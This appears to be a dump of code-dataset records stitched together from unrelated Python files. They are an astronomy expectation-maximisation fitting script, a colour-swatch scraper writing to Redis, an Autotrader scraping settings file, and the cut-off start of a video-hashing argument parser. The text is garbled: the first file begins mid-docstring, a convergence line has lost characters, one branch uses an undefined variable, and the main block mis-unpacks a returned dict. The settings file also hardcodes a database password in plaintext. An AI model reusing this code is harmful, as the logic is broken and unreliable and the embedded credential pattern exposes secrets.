Expectation-Maximisation algorithm for\nmultiple components (only one?). It should really fit only one!\nRun fit_many_comps here and call the rest of the functions directly\nfrom expectmax.py\nRun with\npython run_expectation_maximisation.py testing.pars run_expectmax.pars\n# Wrong\nrdir: results dir for this number of components, e.g. testresults/2/ Where do \nABC come from?\nidir: iteration directory, e.g. testresults/2/iter00/\ngdir: component directory, e.g. testresults/2/iter00/comp0/\nlocal_pars['run_dir']: testresults/2/A/\nRemove component stability check here as only one component is fitted!\nInput\n-----------------\ndata=self.data_dict,\nncomps: number of components to fit to the data (MZ: Does this include a new \ncomponent that is to be added to the set as well? I think so.)\nrdir: results folder (output destination)\nOutput: This should be printed out in a file.\n-----------------\nfinal_best_comps\nfinal_med_and_spans\nfinal_memb_probs\n\"\"\"\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nprint('run_expectation_maximisation: all warnings suppressed.')\n\nimport numpy as np\n#import matplotlib.pyplot as plt\nimport os.path\nimport sys\nsys.path.insert(0, '..')\n\n\nfrom chronostar import tabletool\nfrom chronostar import readparam\nfrom chronostar import component\n\n# What is this?\nfrom chronostar import default_pars # Default parameters of the fit\nfrom chronostar import utils \n\n# Deprecated. Replaced by C modules\n#~ from chronostar import expectmax\n\n# New Python modules (to be replaced by C modules)\n#~ from chronostar.run_em_files_python import expectation_marusa as expectation\n#~ from chronostar import maximisation_marusa as maximisation\n\n# C module: maximisation\nfrom chronostar import maximisationC\n\n# C modules\ntry:\n from chronostar._expectation import expectation as expectationC\n from chronostar._expectation import print_bg_lnols # REMOVE\nexcept ImportError:\n print(\"C IMPLEMENTATION OF expectation NOT IMPORTED\")\n USE_C_IMPLEMENTATION = False\n TODO = True # NOW WHAT?\n \ntry:\n from chronostar._overall_likelihood import get_overall_lnlikelihood_for_fixed_memb_probs\nexcept ImportError:\n print(\"C IMPLEMENTATION OF overall_likelihood NOT IMPORTED\")\n USE_C_IMPLEMENTATION = False\n TODO = True # NOW WHAT?\n\n#~ try:\n #~ from chronostar._temporal_propagation import trace_epicyclic_orbit, trace_epicyclic_covmatrix\n#~ except ImportError:\n #~ print(\"C IMPLEMENTATION OF temporal_propagation NOT IMPORTED\")\n #~ USE_C_IMPLEMENTATION = False\n #~ TODO = True # NOW WHAT?\nfrom chronostar import traceorbitC\n\n#~ import subprocess # to call external scripts\n\nimport logging\n\n#~ import time\n\n\n\"\"\"\nEntry point: Fit multiple Gaussians to data set\nThis is where we apply the expectation maximisation algorithm.\nThere are two ways to initialise this function, either:\nmembership probabilities -or- initial components.\nIf only fitting with one component (and a background) this function\ncan initilialise itself.\nParameters\n----------\ndata: dict -or- astropy.table.Table -or- path to astrop.table.Table\n if dict, should have following structure:\n 'means': [nstars,6] float array_like\n the central estimates of star phase-space properties\n 'covs': [nstars,6,6] float array_like\n the phase-space covariance matrices of stars\n 'bg_lnols': [nstars] float array_like (opt.)\n the log overlaps of stars with whatever pdf describes\n the background distribution of stars.\n if table, see tabletool.build_data_dict_from_table to see\n table requirements.\nncomps: int\n the number of components to be fitted to the data\nrdir: String {''}\n The directory in which all the data will be stored and accessed\n from\npool: MPIPool object {None}\n the pool of threads to be passed into emcee\ninit_memb_probs: [nstars, ngroups] array {None} [UNIMPLEMENTED]\n If some members are already known, the initialsiation process\n could use this.\ninit_comps: [ncomps] Component list\n Initial components around whose parameters we can initialise\n emcee walkers.\ninc_posterior: bool {False}\n Whether to scale the relative component amplitudes by their priors\nburnin: int {1000}\n The number of emcee steps for each burnin loop\nsampling_steps: int {5000}\n The number of emcee steps for sampling a Component's fit\nignore_dead_comps: bool {False}\n DEPRECATED FOR NOW!!!\n order groupfitter to skip maximising if component has less than...\n 2..? expected members\nComponent: Implementation of AbstractComponent {Sphere Component}\n The class used to convert raw parametrisation of a model to\n actual model attributes.\ntrace_orbit_func: function {None}\n A function to trace cartesian oribts through the Galactic potential.\n If left as None, will use traceorbit.trace_cartesian_orbit (base\n signature of any alternate function on this ones)\nuse_background: bool {False}\n Whether to incorporate a background density to account for stars\n that mightn't belong to any component.\nignore_stable_comps: bool {False}\n Set to true if components that barely change should only be refitted\n every 5 iterations. Component stability is determined by inspecting\n whether the change in total star member count is less than 2% as\n compared to previous fit.\nReturn\n------\nfinal_comps: [ncomps] list of synthesiser.Group objects\n the best fit for each component\nfinal_med_errs: [ncomps, npars, 3] array\n the median, -34 perc, +34 perc values of each parameter from\n each final sampling chain\nmemb_probs: [nstars, ncomps] array\n membership probabilities\n\"\"\"\n\ndef lnprob_convergence(lnprob, slice_size=10, \n filename_lnprob_convergence=None, convergence_requirement=0.03):\n \"\"\"\n Check if lnprob is not changing anymore: Determine median values\n for chunks of slice_size. If median worsens, declare convergence.\n \"\"\"\n lnprob = np.array(lnprob)\n\n # Normalize to range [0, 1]\n lnprob -= np.min(lnprob)\n lnprob /= np.max(lnprob)\n \n chunk_size = int(float(len(lnprob))/float(slice_size))\n indices_chunks = np.array_split(range(len(lnprob)), chunk_size)\n\n # Medians of lnprob for chunks of chunk_size\n medians = [np.nanmedian(lnprob[i]) for i in indices_chunks]\n\n # Did the median worsen? Then we claim convergence!\n #~ convergence = medians[-2]>medians[-1]\n \n # Convergence when the median is not significantly improved anymore\n #~ f = 0.03 # TODO hardcoded\n r1 = np.abs(1.0 - medians[-1]/medians[-2])\n r2 = np.abs(1.0 - medians[-1]/medians[-3])\n convergence_r = (r1medians[-3]) & (medians[-1]>medians[-3])\n \n print('CONVERGENCE', convergence, len(lnprob), chunk_size, r1, r2, medians)\n \n if filename_lnprob_convergence is not None:\n import matplotlib.pyplot as plt # TODO: display thing so it works on the server\n \n fig=plt.figure()\n ax=fig.add_subplot(111)\n ax.plot(range(len(lnprob)), lnprob, c='k') # Plotting minus so the scale can be logarithmic\n #~ ax.set_yscale('log')\n ax.set_xlabel('Iteration')\n ax.set_ylabel('-lnprob')\n plt.tight_layout()\n plt.savefig(filename_lnprob_convergence)\n #~ print('%s saved.'%filename_lnprob_convergence)\n \n np.savetxt(filename_lnprob_convergence.replace('png', 'dat'), lnprob)\n\n return convergence\n\n\ndef get_gr_mns_covs_now(comps):\n \"\"\"\n Get gr_mns and gr_covs from [comps] for C modules\n Temporal propagation happens here.\n \"\"\"\n \n # Means\n dim = len(comps[0].get_mean())\n gr_mns = [trace_epicyclic_orbit(comp.get_mean(), comp.get_age(), \n dim) for comp in comps]\n\n # Covmatrices\n c = comps[0].get_covmatrix()\n dim1 = c.shape[0]\n dim2 = c.shape[1]\n h=1e-3 # HARDCODED... TODO\n gr_covs = [trace_epicyclic_covmatrix(\n c.get_covmatrix(), c.get_mean(), c.get_age(), h, \n dim1*dim2).reshape(dim1, dim2) for c in comps]\n \n return gr_mns, gr_covs\n\n\ndef get_init_emcee_pars(data, memb_probs=None,\n Component=None):\n \"\"\"\n Get a set of emcee pars that most closely matches the data given.\n\n Membership probabilities can optionally be included, and will be used\n to calculate the weighted mean and covariance matrix\n \"\"\"\n rough_mean_now, rough_cov_now = \\\n Component.approx_currentday_distribution(data=data,\n membership_probs=memb_probs)\n\n # Exploit the component logic to generate closest set of pars\n dummy_comp = Component(attributes={'mean':rough_mean_now,\n 'covmatrix':rough_cov_now,})\n return dummy_comp.get_emcee_pars()\n\n\ndef run_expectmax_simple(pars, data_dict=None, init_comps=None, \n init_memb_probs=None):\n \"\"\"\n Run expectation-maximisation algorithm...\n \n pars: dict. Mandatory fields:\n component\n folder_destination\n \n \"\"\"\n\n ####################################################################\n #### PARAMETERS ####################################################\n ####################################################################\n # Component type\n if pars['component'].lower() == 'sphere':\n Component = component.SphereComponent\n elif pars['component'].lower() == 'ellip':\n Component = component.EllipComponent\n else:\n raise UserWarning('Unknown (or missing) component parametrisation')\n\n\n\n\n\n\n # Do we really need these?\n use_box_background = False # TODO: MZ: I made this up because this parameter is needed.... Revise this!!! Default in parentfit is False\n inc_posterior=False\n\n\n ####################################################################\n ### OUTPUT DESTINATION #############################################\n ####################################################################\n folder_destination = pars['folder_destination']\n if not os.path.exists(folder_destination):\n os.makedirs(folder_destination)\n\n\n ####################################################################\n #### READ DATA if not provided as an argument ######################\n ####################################################################\n # Stellar data\n if data_dict is None:\n data_dict = tabletool.build_data_dict_from_table(\n pars['data_table'], \n get_background_overlaps=pars['use_background']) # TODO: background???\n\n nstars = len(data_dict['means'])\n\n # Read initial membership probabilities\n if init_memb_probs is None:\n filename_init_memb_probs = pars['filename_init_memb_probs']\n if filename_init_memb_probs is not None and os.path.exists(\n filename_init_memb_probs):\n init_memb_probs = np.load(filename_init_memb_probs)\n print('Managed to load in %d init_memb_probs from file'%\\\n len(init_memb_probs))\n \n # Read initial components\n if init_comps is None:\n filename_init_comps = pars['filename_init_comps']\n if filename_init_comps is not None and os.path.exists(\n filename_init_comps):\n init_comps = Component.load_raw_components(\n filename_init_comps)\n print('Managed to load in %d init_comps from file'%\\\n len(init_comps))\n else:\n init_comps = [None]\n\n\n\n\n\n\n\n\n # TODO: review this\n # Rething this. Background should always be used...\n use_background = pars['use_background']\n if use_background:\n assert 'bg_lnols' in data_dict.keys()\n\n #~ nstars = data_dict['means'].shape[0]\n #~ print('EMnstars', nstars, pars['data_table'])\n\n\n\n ####################################################################\n #### STELLAR DATA FOR C MODULES ####################################\n ####################################################################\n st_mns = data_dict['means']\n st_covs = data_dict['covs']\n bg_lnols = data_dict['bg_lnols']\n \n # For some reason, bg_ols in C only work this way now. They worked before from data_dict... A mystery! data_dict now produces values +/-1e+240 or similar.\n filename_tmp = 'bgols_tmp.dat'\n np.savetxt(filename_tmp, bg_lnols)\n bg_lnols = np.loadtxt(filename_tmp)\n print('run_em: bg_lnols read from a txt file!')\n #~ print('run_em bg_lnols')\n #~ print(bg_lnols)\n #~ print_bg_lnols(bg_lnols)\n \n #~ exit(0)\n\n\n ####################################################################\n #### INITIAL COMPONENTS, MEMBERSHIPS, NCOMPS AND INIT_PARS #########\n ####################################################################\n # Update missing info\n \n # No info known. Set ncomps=1\n if init_memb_probs is None and init_comps[0] is None:\n logging.info('No specificed initialisation... assuming all stars are members.')\n print('No specificed initialisation... assuming all stars are members.')\n ncomps = 1\n init_comps = [None]\n all_init_pars = [None]\n\n # Assume all stars are members of the component. Background 0\n init_memb_probs = np.zeros((len(data_dict['means']),\n ncomps + pars['use_background']))\n init_memb_probs[:, 0] = 1. - 1.e-10\n init_memb_probs[:, 1] = 1.e-10 \n\n # all_init_pars are required in maximisationC.fit_single_comp_gradient_descent_serial\n all_init_pars = [get_init_emcee_pars(data_dict, \n memb_probs=init_memb_probs[:,i], Component=Component) for i in range(ncomps)]\n \n # init_memb_probs available, but not comps\n elif init_memb_probs is not None and init_comps[0] is None:\n logging.info('Initialised by memberships')\n print('Initialised by memberships')\n ncomps = init_memb_probs.shape[1]-1\n init_comps = [None] * ncomps\n all_init_pars = [None] * ncomps # TODO: this shouldn't be None!\n\n # all_init_pars are required in maximisationC.fit_single_comp_gradient_descent_serial\n all_init_pars = [get_init_emcee_pars(data_dict, \n memb_probs=init_memb_probs[:,i], Component=Component) for i in range(ncomps)]\n \n # Comps available, but not init_memb_probs\n elif init_memb_probs is None and init_comps[0] is not None:\n logging.info('Initialised by components')\n print('Initialised by components')\n ncomps = len(init_comps)\n all_init_pars = [ic.get_emcee_pars() for ic in init_comps]\n\n # Assume equal memberships to start with. +1 for background\n nstars=len(data_dict['means'])\n memb_probs_tmp = np.ones((nstars, ncomps+1)) / (ncomps+1)\n \n # This includes iterations to get component amplitudes right\n #~ init_memb_probsP = expectmax.expectation(data_dict, init_comps, \n #~ memb_probs_tmp, inc_posterior=inc_posterior,\n #~ use_box_background=use_box_background) # TODO: REMOVE THIS\n\n # Get gr_mns and gr_covs at t=now\n #~ gr_mns, gr_covs = get_gr_mns_covs_now(init_comps)\n gr_mns, gr_covs = traceorbitC.get_gr_mns_covs_now(init_comps)\n\n \n\n #~ print('before expectationC')\n #~ print(bg_lnols) \n init_memb_probs = expectationC(st_mns, st_covs, gr_mns, gr_covs, \n bg_lnols, memb_probs_tmp, nstars*(ncomps+1))\n init_memb_probs = init_memb_probs.reshape(nstars, (ncomps+1))\n \n #~ print('run_em initialised_by_components')\n #~ print(bg_lnols.shape)\n #~ print(bg_lnols)\n\n #~ print('INIT')\n #~ print(init_memb_probs)\n #~ print(init_memb_probsP)\n #~ print(init_memb_probs-init_memb_probsP)\n \n \n #~ import pickle\n #~ with open('input_data_to_expectation_INIT.pkl', 'wb') as f:\n #~ pickle.dump([data_dict, init_comps, memb_probs_tmp, \n #~ inc_posterior, use_box_background,\n #~ st_mns, st_covs, gr_mns, gr_covs, bg_lnols, \n #~ memb_probs_tmp, nstars*(ncomps+1), init_memb_probs,\n #~ init_memb_probsP], f)\n #~ print('INIT DUMPED.')\n\n\n # Everything available\n else:\n logging.info('Initialised by components and memberships')\n ncomps = len(comps)\n assert ncomps==init_memb_probs.shape[1]-1\n all_init_pars = [ic.get_emcee_pars() for ic in init_comps]\n\n\n # Check if ncomps matches the number from the pars\n try:\n if pars['ncomps']!=ncomps:\n print('WARNING: ncomps (%d) determined from the data does NOT match the number specified in the pars file (%d)!!!'%(ncomps, pars['ncomps']))\n except:\n pass\n\n #~ print('EM ncomps: %d'%ncomps)\n\n\n ####################################################################\n #### INITIALIZE ####################################################\n ####################################################################\n #~ logging.info(\"Fitting {} groups with {} burnin steps with cap \"\n #~ \"of {} iterations\".format(ncomps, burnin, max_em_iterations))\n\n # Initialise values for upcoming iterations\n memb_probs_old = init_memb_probs\n comps_old = init_comps\n #~ print('INITIALIZE, comps_old', comps_old)\n #lnols = None\n all_init_pos = [None] * ncomps\n\n # Keep track of all fits for convergence checking\n list_prev_comps = []\n list_prev_memberships = []\n list_all_init_pos = []\n list_prev_lnlikes = []\n\n\n ####################################################################\n #### START EM ITERATIONS ###########################################\n ####################################################################\n # Iterate through the Expecation and Maximisation stages until\n # convergence is achieved (or max_iters is exceeded)\n\n converged = False\n iter_count = 0\n while not converged and iter_count < pars['max_em_iterations']:\n print('EM iteration... %d'%iter_count)\n ################################################################\n #### Folders and filenames #####################################\n ################################################################\n # Folder for iteration\n folder_iter = os.path.join(pars['folder_destination'], \n str(ncomps), pars['split_label'], \n \"iter{:03}\".format(iter_count))\n \n if not os.path.exists(folder_iter):\n try:\n os.makedirs(folder_iter)\n except:\n # When doing this in parallel, more than one process might \n # try to create this dir at the same time.\n pass\n\n filename_memberships_iter = os.path.join(folder_iter, \n pars['filename_iter_memberships'])\n filename_components_iter = os.path.join(folder_iter, \n pars['filename_iter_comps'])\n filename_lnprob_and_bic_iter = os.path.join(folder_iter, \n pars['filename_iter_lnprob_and_bic'])\n filename_lnprob_convergence = os.path.join(folder_iter, \n pars['filename_lnprob_convergence'])\n \n \n ################################################################\n #### MAXIMISATION ##############################################\n ################################################################ \n #~ print('################# START MAXIMISATION')\n # maximisation.maximisation_gradient_descent_serial(\n # maximisation.maximisation_gradient_descent_multiprocessing(\n #~ comps_new, _, all_init_pos =\\\n #~ maximisation.maximisation_gradient_descent_serial(\n #~ data_dict, ncomps=ncomps, \n #~ convergence_tol=pars['convergence_tol'],\n #~ memb_probs=memb_probs_old, all_init_pars=all_init_pars,\n #~ all_init_pos=all_init_pos, \n #~ trace_orbit_func=trace_orbit_func, Component=Component,\n #~ optimisation_method=pars['optimisation_method'],\n #~ idir=folder_iter,\n #~ )\n \n #~ print('before maximisationC')\n #~ print(ncomps)\n #~ print(memb_probs_old)\n #~ print(all_init_pars)\n #~ print(all_init_pos)\n #~ print('nstars', nstars)\n \n comps_new, _, all_init_pos =\\\n maximisationC.maximisation_gradient_descent_serial(\n data_dict, ncomps=ncomps, memb_probs=memb_probs_old, \n all_init_pars=all_init_pars, all_init_pos=all_init_pos,\n Component=Component, \n optimisation_method=pars['optimisation_method'], \n idir=folder_iter)\n \n #~ print('################# END MAXIMISATION')\n # Save new components\n Component.store_raw_components(filename_components_iter, \n comps_new)\n\n\n ################################################################\n #### EXPECTATION ###############################################\n ################################################################\n\n #~ import pickle\n #~ with open('input_data_to_expectation.pkl', 'wb') as f:\n #~ pickle.dump([data_dict, comps_new, memb_probs_old, \n #~ inc_posterior, use_box_background], f)\n\n\n # Python version\n #~ memb_probs_new = expectation.expectation(data_dict, \n #~ comps_new_list, memb_probs_old, inc_posterior=inc_posterior, \n #~ use_box_background=use_box_background) # TODO background\n \n # C version\n #~ print(\"start expectationC\")\n #~ gr_mns, gr_covs = get_gr_mns_covs_now(comps_new)\n gr_mns, gr_covs = traceorbitC.get_gr_mns_covs_now(comps_new)\n \n memb_probs_new = expectationC(st_mns, st_covs, gr_mns, gr_covs, \n bg_lnols, memb_probs_old, nstars*(ncomps+1)) # +1 for bg\n memb_probs_new = memb_probs_new.reshape(nstars, (ncomps+1))\n #~ print(\"end expectationC\")\n \n \n # WORKS\n #~ memb_probs_new = expectation.expectation(data_dict, comps_new, \n #~ memb_probs_old, inc_posterior=inc_posterior, \n #~ use_box_background=use_box_background) # TODO background\n\n #~ with open('output_data_from_expectation.pkl', 'wb') as f:\n #~ pickle.dump(memb_probs_new, f)\n\n #~ import sys\n #~ sys.exit()\n \n #~ logging.info(\"Membership distribution:\\n{}\".format(\n #~ memb_probs_new.sum(axis=0)\n #~ ))\n \n # Save new memberships\n np.save(filename_memberships_iter, memb_probs_new)\n\n\n ################################################################\n #### STORE RESULTS OF ITERATION ################################\n ################################################################\n #~ print(\"About to log without and with posterior lnlikelihoods\") #!!!MJI\n \n # This is likelihood for all comps combined\n # get_overall_lnlikelihood computes memb_probs again, but\n # this was already computed a few lines earlier...\n \n # Python\n #~ print('start python expectation.get_overall_lnlikelihood')\n #comps_new_list = [[comp.get_mean(), comp.get_covmatrix()] for comp in comps_new] # SHOULD BE NOW (time=NOW)\n #~ overall_lnlike = expectmax.get_overall_lnlikelihood(\n #~ data_dict, \n #comps_new_list, old_memb_probs=memb_probs_new, \n #~ comps_new, old_memb_probs=memb_probs_new, \n #~ inc_posterior=False, # inc_posterior=False in python version\n #~ use_box_background=use_box_background) # TODO background\n #~ print('end python expectation.get_overall_lnlikelihood')\n #~ print('overall_lnlike python', overall_lnlike)\n \n #~ import pickle\n #~ with open('input_data_to_get_overall_lnlikelihood_for_fixed_memb_probs.pkl', 'wb') as f:\n #~ pickle.dump([st_mns, st_covs, gr_mns, gr_covs, bg_lnols, \n #~ memb_probs_new, data_dict, comps_new, \n #~ memb_probs_new, False, use_box_background], f)\n #~ print('input_data_to_get_overall_lnlikelihood_for_fixed_memb_probs.pkl WRITTEN.')\n \n \n # C\n #~ print('start C expectation.get_overall_lnlikelihood_for_fixed_memb_probs')\n overall_lnlike = get_overall_lnlikelihood_for_fixed_memb_probs(\n st_mns, st_covs, gr_mns, gr_covs, bg_lnols, memb_probs_new) # TODO background\n #~ print('end C expectation.get_overall_lnlikelihood_for_fixed_memb_probs') \n\n # MZ added\n np.save(filename_lnprob_and_bic_iter, [overall_lnlike])\n\n list_prev_comps.append(comps_new)\n list_prev_memberships.append(memb_probs_new)\n list_all_init_pos.append(all_init_pos)\n list_prev_lnlikes.append(overall_lnlike)\n\n comps_old = comps_new\n memb_probs_old = memb_probs_new\n\n\n ################################################################\n #### CHECK CONVERGENCE #########################################\n ################################################################\n if len(list_prev_lnlikes) < pars['min_em_iterations']:\n converged = False\n else:\n converged = lnprob_convergence(list_prev_lnlikes, \n slice_size=pars['lnlike_convergence_slice_size'],\n filename_lnprob_convergence=filename_lnprob_convergence,\n convergence_requirement=pars['EM_convergence_requirement'])\n \n #~ utils.log_message('Convergence status: {}'.format(converged),\n #~ symbol='-', surround=True)\n\n\n iter_count += 1\n\n\n logging.info(\"CONVERGENCE COMPLETE\")\n utils.log_message('EM Algorithm finished', symbol='*')\n\n\n ####################################################################\n #### RESULTS #######################################################\n ####################################################################\n # FIND BEST ITERATION\n best_index = np.argmax(list_prev_lnlikes)\n logging.info('Best index : {} with lnlike: {}'.format(best_index, \n list_prev_lnlikes[best_index]))\n\n\n # RESULTS\n final_best_comps = list_prev_comps[best_index]\n final_memb_probs = list_prev_memberships[best_index]\n\n\n # Likelihood\n #~ # for expectation_marusa, comps need to be list\n #~ final_best_comps_list = [[comp.get_mean(), comp.get_covmatrix()] for comp in final_best_comps]\n #~ overall_lnlike = expectation.get_overall_lnlikelihood(\n #~ data_dict, final_best_comps_list, inc_posterior=False,\n #~ use_box_background=use_box_background,\n #~ ) # TODO: USE C MODULE\n \n # Python\n #~ overall_lnlike = expectmax.get_overall_lnlikelihood(\n #~ data_dict, final_best_comps, inc_posterior=False,\n #~ use_box_background=use_box_background) # TODO background \n #~ # TODO: USE C MODULE\n \n # C\n #~ gr_mns, gr_covs = get_gr_mns_covs_now(final_best_comps)\n gr_mns, gr_covs = traceorbitC.get_gr_mns_covs_now(final_best_comps)\n overall_lnlike = get_overall_lnlikelihood_for_fixed_memb_probs(\n st_mns, st_covs, gr_mns, gr_covs, bg_lnols, final_memb_probs) # TODO background\n \n \n logging.info(\"Final overall lnlikelihood: {}\".format(overall_lnlike))\n\n\n ####################################################################\n #### SAVE RESULTS ##################################################\n ####################################################################\n # Create folder with final results\n utils.log_message('Storing final result', symbol='-', surround=True)\n if ncomps==1:\n folder_final = os.path.join(pars['folder_destination'], \n str(ncomps), 'final')\n else:\n folder_final = os.path.join(pars['folder_destination'], \n str(ncomps), pars['split_label'], 'final')\n \n if not os.path.exists(folder_final):\n try:\n os.makedirs(folder_final)\n except:\n # When doing this in parallel, more than one process might \n # try to create this dir at the same time.\n pass\n\n\n #### SAVE MEMBERSHIPS ##############################################\n # memb_probs_final = expectation(data_dict, best_comps, best_memb_probs,\n # inc_posterior=inc_posterior)\n filename_memberships = os.path.join(folder_final, \n pars['filename_final_memberships'])\n np.save(filename_memberships, final_memb_probs)\n logging.info('Membership final distribution:\\n{}'.format(\n final_memb_probs.sum(axis=0)\n ))\n\n # Save membership fits file\n filename_memberships_fits = filename_memberships.replace('npy', 'fits') # TODO\n try:\n tabletool.construct_an_astropy_table_with_gaia_ids_and_membership_probabilities(\n pars['data_table'], final_memb_probs, final_best_comps,\n filename_memberships_fits, get_background_overlaps=True, \n stellar_id_colname = pars['stellar_id_colname']\n )\n print('%s written.'%filename_memberships_fits)\n except:\n logging.info(\"[WARNING] Couldn't print membership.fits file. Is source_id available?\")\n\n\n #### SAVE COMPONENTS ###############################################\n filename_components = os.path.join(folder_final, \n pars['filename_final_components'])\n Component.store_raw_components(filename_components, final_best_comps)\n\n # Save components in fits file\n filename_components_fits = filename_components.replace('npy', 'fits')\n tabcomps = Component.convert_components_array_into_astropy_table(final_best_comps)\n tabcomps.write(filename_components_fits, overwrite=True)\n\n\n #### SAVE LIKELIHOOD AND BIC #######################################\n #~ filename_bic_list = os.path.join(pars['folder_destination'], \n #~ pars['filename_bics_list'])\n #~ np.save(filename_bic_list, list_prev_bics)\n\n\n filename_lihelihood_bic = os.path.join(folder_final, \n pars['filename_lihelihood_and_bic'])\n np.save(filename_lihelihood_bic, \n (overall_lnlike))\n\n\n #### LOGGING #######################################################\n logging.info(\"FINISHED SAVING\")\n logging.info(\"Best fits:\\n{}\".format(\n [fc.get_pars() for fc in final_best_comps]\n ))\n logging.info(\"Stars per component:\\n{}\".format(\n final_memb_probs.sum(axis=0)\n ))\n logging.info(\"Memberships: \\n{}\".format(\n (final_memb_probs*100).astype(np.int)\n ))\n logging.info(50*'=')\n\n\n\n result = {'comps': final_best_comps, 'memb_probs': final_memb_probs} \n return result\n\n\nif __name__ == \"__main__\":\n filename_user_pars = sys.argv[1]\n user_pars = readparam.readParam(filename_user_pars)\n pars = default_pars.pars\n pars.update(user_pars)\n\n\n final_best_comps, final_memb_probs = run_expectmax_simple(pars)\n\n\n","sub_path":"fastfit/run_em.py","file_name":"run_em.py","file_ext":"py","file_size_in_byte":31420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"270717004","text":"from bs4 import BeautifulSoup\nimport re\nimport json\nimport redis\nimport os\nfrom urllib.parse import urlparse\n\nurl = urlparse(os.environ.get('REDISCLOUD_URL'))\nr = redis.StrictRedis(host=url.hostname, port=url.port, password=url.password)\nr.flushdb()\n\nhex_color_regex = re.compile(r'(#\\w+)')\nget_hex_color = lambda s: hex_color_regex.search(s).group(1)\n\nsoup = BeautifulSoup(open('2014-10-04.html'))\n\ni = 0\nfor i, swatch in enumerate(soup.find_all('div', {'class': 'swatch_content'})):\n month, day, year = [date.get_text() for date in swatch.find_all('date')]\n\n inspiration = swatch.find('div', {'class': 'swatch_info_right'}).find('span').get_text()\n\n bg_right = get_hex_color(swatch['style'])\n bg_left = get_hex_color(swatch.find('div', {'class': 'swatch_content_left'})['style'])\n\n colors = [get_hex_color(color['style']) for color in\n swatch.find_all('div', {'class': 'swatch'})]\n\n swatch = {\n 'date': {'year': year, 'month': month, 'day': day},\n 'inspiration': inspiration,\n 'bg_right': bg_right,\n 'bg_left': bg_left,\n 'colors': colors\n }\n\n r.set(\"%s-%s-%s\" % (year, month, day), json.dumps(swatch))\n\nprint(\"Found and stored %d swatches\" % (i))\n","sub_path":"get_swatches.py","file_name":"get_swatches.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"218644669","text":"\"\"\"\nThis file contains the configs for the webscraping application.\nYou can add new sites to be scraped to the top level dict by creating a new dictionary within the top level.\nEach different site to be scraped is a dictionary of all of the potentially scrapable entities for each vehicle detail.\n\"\"\"\nimport pymysql\n\ndbSettings = {\n 'user': 'scraper',\n 'passwd': 'Goac3921',\n 'host': '127.0.0.1',\n 'db': 'webscrape',\n}\n\nconnection = pymysql.connect(host=dbSettings['host'],\n user=dbSettings['user'],\n passwd=dbSettings['passwd'],\n db=dbSettings['db'],\n autocommit=True,\n charset='utf8')\ncur = connection.cursor()\ncur.execute(\"SELECT DISTINCT `autotraderLocation` FROM storesBAK WHERE 1\")\nAT_locations = cur.fetchall()\n\nsites = {\n 'autotrader': {\n 'topSite': 'http://autotrader.com',\n 'searchResults': 'http://www.autotrader.com/cars-for-sale/Used+Cars/{0}?'\n 'endYear=2017&'\n 'firstRecord={1}&'\n 'listingType=used&'\n 'listingTypes=used,certified&'\n 'searchRadius={2}&'\n 'sellerType=d&'\n 'sellerTypes=d&'\n 'showcaseOwnerId=69568211&'\n 'startYear=2000&'\n 'Log=0&'\n 'showcaseListingId=430719333&'\n 'captureSearch=true&'\n 'fromSIP=23834F4000DC106BBA9CCD32C2744A4B&'\n 'showToolbar=true',\n 'vehicleDetails': {\n 'vehicleTitle': 'div div #j_id_bi-j_id_18f div h2 span',\n 'vehicleTrim': 'div div #j_id_bi-j_id_18f .heading-trim',\n 'vehicleMileage': 'div div #j_id_bi-j_id_18f .heading-mileage',\n 'vehicleVIN': '#j_id_bi-j_id_18f-j_id_1e5-j_id_1e7-j_id_1e8-j_id_1es-j_id_1f0-vinInfoBlock',\n 'vehicleType': 'div div .atcui-clear h2',\n 'vehicleMPG-City': 'div div .mpg-city',\n 'vehicleMPG-HWY': 'div div .mpg-hwy',\n 'vehicleTransmission': 'div div .atcui-clear span .atcui-bold',\n 'vehicleDriveType': 'div div .atcui-clear span .atcui-bold',\n 'vehicleCylinders': 'div div .atcui-clear h2',\n 'vehicleColors': 'div div .atcui-clear span .atcui-bold',\n 'vehicleFuelType': 'div div .mpg',\n 'vehiclePrice': '.so-price span ',\n },\n\n },\n\n # 'cars': {\n # 'topSite': 'http://cars.com',\n # 'searchResults': 'https://www.cars.com/for-sale/searchresults.action/?'\n # 'rd=30&'\n # 'searchSource=ADVANCED_SEARCH&'\n # 'yrId=30031936&'\n # 'yrId=58487&'\n # 'yrId=56007&'\n # 'yrId=51683&'\n # 'yrId=47272&'\n # 'yrId=39723&'\n # 'yrId=34923&'\n # 'yrId=27381&'\n # 'yrId=20201&'\n # 'yrId=20145&'\n # 'yrId=20200&'\n # 'yrId=20144&'\n # 'yrId=20199&'\n # 'yrId=20143&'\n # 'yrId=20198&'\n # 'yrId=20142&'\n # 'yrId=20197&'\n # 'yrId=20141&'\n # 'slrTypeId=28878&'\n # 'zc=75501&'\n # 'stkTypId=28881',\n # },\n\n # 'carvana': {\n # 'topSite': 'http://carvana.com'\n # },\n #\n # 'edmunds':{\n # 'topSite': 'http://edmunds.com'\n # }\n}\n\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"233859954","text":"# Copyright (c) Meta Platforms, Inc. and affiliates.\n\nimport subprocess\nimport os\nimport sys\nimport argparse\n\n\ndef get_argparse() -> argparse.ArgumentParser:\n ap = argparse.ArgumentParser(description=__doc__)\n ap.add_argument(\n \"-f\",\n \"--ffmpegPath\",\n metavar=\"FFMPEG_PATH\",\n help=\"Specific path to ffmpeg you want to use\",\n default=\"ffmpeg\",\n )\n ap.add_argument(\n \"-r\",\n \"--secondsPerHash\",\n metavar=\"NON_NEGATIVE_FLOAT\",\n help=\"The frequence(per second) a hash is generated from the video. If it is 0, will generate every frame's hash\",\n default=\"0\",\n type=float,\n )\n ap.add_argument(\n \"-d\",\n \"--outputHashFolder\",\n metavar=\"OUTPUT_HASH_Folder_PATH\",\n help=\"Output Hash Folder's Name\",\n default=\"/ThreatExchange/vpdq/output-hashes\",\n type=dir_path,\n )\n ap.add_argument(\n \"-i\",\n \"--inputVideoFolder\",\n metavar=\"INPUTPUT_VIDEO_FOLDER_PATH\",\n help=\"Input Video Folder\",\n default=\"/ThreatExchange/tmk/sample-videos\",\n type=dir_path,\n )\n ap.add_argument(\n \"-s\",\n \"--downsampleFrameDimension\",\n 